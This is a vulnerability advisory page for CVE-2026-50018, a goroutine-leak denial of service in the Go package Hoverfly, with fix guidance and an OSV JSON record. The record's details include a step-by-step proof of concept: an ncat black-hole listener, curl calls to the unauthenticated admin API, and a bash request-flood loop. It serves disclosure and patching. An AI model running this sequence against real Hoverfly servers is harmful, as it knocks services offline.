CVE-2026-50018: Hoverfly Denial of Service Vulnerability
MODERATECVE-2026-50018 is a MODERATE (CVSS 6.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Hoverfly libraries in the Go ecosystem. The issue involves denial of service via goroutine leak in remote post-serve actions. Remediation is available by upgrading affected packages to version 1.12.8.
CVE-2026-50018 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H).
How to Fix CVE-2026-50018
To remediate this vulnerability, upgrade all affected Hoverfly dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/SpectoLabs/hoverfly to 1.12.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/SpectoLabs/hoverfly
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-50018, inspect your project dependencies for Hoverfly:
inspect dependencies for github.com/SpectoLabs/hoverfly
Analyze the terminal output to locate any version of Hoverfly in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.12.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Hoverfly, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-50018 Affected Hoverfly Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/SpectoLabs/hoverfly
|
Go |
< 1.12.8
|
1.12.8
|
References
Frequently Asked Questions
What is CVE-2026-50018?
Which Hoverfly versions are affected?
What version fixes CVE-2026-50018?
Is github.com/SpectoLabs/hoverfly affected?
What is the CVSS score of CVE-2026-50018?
What CWE is associated with CVE-2026-50018?
How can I check Go dependencies for CVE-2026-50018?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-42j2-w334-qxw7",
"modified" : "2026-07-14T18:04:55Z",
"published" : "2026-07-14T18:04:55Z",
"aliases" : [ "CVE-2026-50018" ],
"summary" : "Hoverfly: Denial of Service via Goroutine Leak in Remote Post-Serve Actions",
"details" : "### Summary:\n\nRemote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint.\n\n### Details:\n\n**1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):**\n\n```go\ngo postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal)\n```\n\nPost-serve actions are executed in separate goroutines with no recovery wrapper.\n\n**2. HTTP client has no timeout (`core/action/action.go:128-143`):**\n\n```go\nreq, err := http.NewRequest(\"POST\", action.Remote, bytes.NewBuffer(pairViewBytes))\n// ...\nresp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever.\n```\n\n`http.DefaultClient` has zero timeout by default in Go. If the remote server:\n- Accepts the TCP connection but never sends a response\n- Establishes TLS but never completes the handshake \n- Uses TCP window size 0 (flow control stall)\n\n...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup.\n\n**3. No goroutine limit or backpressure:**\n\nThere is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally.\n\n**4. The goroutine is never cleaned up:**\n\nThe only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Default (no flags required)\n\n### POC:\n\n**Step 1: Start a black-hole TCP listener (accepts connections, never responds)**\n\n```bash\n# Option A: Use ncat\nncat -l -k 9999 &\n\n# Option B: Use a non-routable IP (connections hang at TCP SYN)\n# 192.0.2.1 is TEST-NET-1, guaranteed non-routable\n# This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited)\n```\n\n**Step 2: Register remote post-serve action pointing to the black hole**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"actionName\": \"leak\",\n \"remote\": \"http://192.0.2.1:9999/blackhole\",\n \"delayInMs\": 0\n }'\n```\n\n**Step 3: Load a catch-all simulation**\n\n```bash\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"data\": {\n \"pairs\": [{\n \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n \"response\": {\"status\": 200, \"body\": \"ok\", \"postServeAction\": \"leak\"}\n }],\n \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n },\n \"meta\": {\"schemaVersion\": \"v5.2\"}\n }'\n```\n\n**Step 4: Flood with requests**\n\n```bash\n# Each request spawns an immortal goroutine\nfor i in $(seq 1 10000); do\n curl -s -x http://localhost:8500 \"http://target.com/req${i}\" &\n # Throttle to avoid local FD exhaustion\n [ $((i % 100)) -eq 0 ] && wait\ndone\n```\n\n**Verified memory impact on Hoverfly v1.12.7:**\n\n```\nMemory before: 20,064 KB\nMemory after 50 requests: 23,376 KB\nMemory increase: 3,312 KB (66 KB per goroutine)\n```\n\nAt this rate:\n- 1,000 requests = ~64 MB leaked\n- 10,000 requests = ~640 MB leaked\n- 100,000 requests = ~6.4 GB leaked → OOM crash\n\n### Impact:\n\nAn attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by:\n\n1. Registering a remote post-serve action pointing to a non-responsive endpoint.\n2. Loading a catch-all simulation that triggers the action on every request.\n3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/SpectoLabs/hoverfly"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.12.8"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.12.7"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-42j2-w334-qxw7"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/pull/1228"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/SpectoLabs/hoverfly"
}, {
"type" : "WEB",
"url" : "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-400", "CWE-770" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-14T18:04:55Z",
"nvd_published_at" : null
}
}